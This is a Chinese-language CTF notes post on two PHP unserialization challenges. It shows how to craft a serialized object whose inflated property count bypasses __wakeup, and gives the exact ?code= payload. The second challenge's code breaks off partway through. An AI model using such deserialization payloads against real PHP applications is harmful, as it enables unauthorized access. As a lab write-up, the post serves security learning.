php反序列化做题笔记

unserialize3

class xctf{ 
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

首先观察代码。有一个—wakeup()魔术方法。?code= 所以序列化后的参数需要从这里输入。

<?php
class xctf{ 
    public $flag = '111';
    }
$b=new xctf();
echo serialize($b);
?>

借用代码实现xctf的序列化:O:4:"xctf":1:{s:4:"flag";s:3:"111";}

但反序列化执行前会触发_wakeup魔术方法,干扰代码的执行,所以我们需要绕过__wakeup魔术方法。需要将对象属性个数的值大与本身属性的个数,比如O:4:"xctf":2:{s:4:"flag";s:3:"111";}

然后?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}就可以得到flag。

Web_php_unserialize

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function _
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值